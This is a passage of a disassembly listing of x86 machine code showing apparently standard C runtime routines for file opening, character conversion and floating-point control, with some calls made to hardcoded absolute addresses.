sub_424E01 pop ecx mov dword_4DBC78, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DCC80, esi call sub_424E01 pop ecx mov dword_4DBC78, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43D0C8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DBC78 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D348 jl short loc_423990 xor edx, edx mov ecx, offset dword_43D0D8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DCCA0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43D138 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB998, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBB40 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DBC50, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB958, 16h mov dword_4DB95C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB960 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB95C, 0 mov dword_4DB958, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27308C8h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2650000h test eax, eax jnz short loc_423C11 push esi call near ptr 2690934h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 26B0857h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB95C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C48 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBB48 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427938 push esi nop call near ptr 2630000h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB50C push esi push ebx call near ptr 2640000h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DBB48, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DBA14 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2640000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DBA24 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2860000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2860000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2630000h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DBA14, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43CBE4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBA24 nop call near ptr 2850000h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DBA14, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C9D8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43CBE4 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBA24 nop call near ptr 2860000h test eax, eax mov eax, dword_43CBE4 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBA24 nop call near ptr 2860000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: 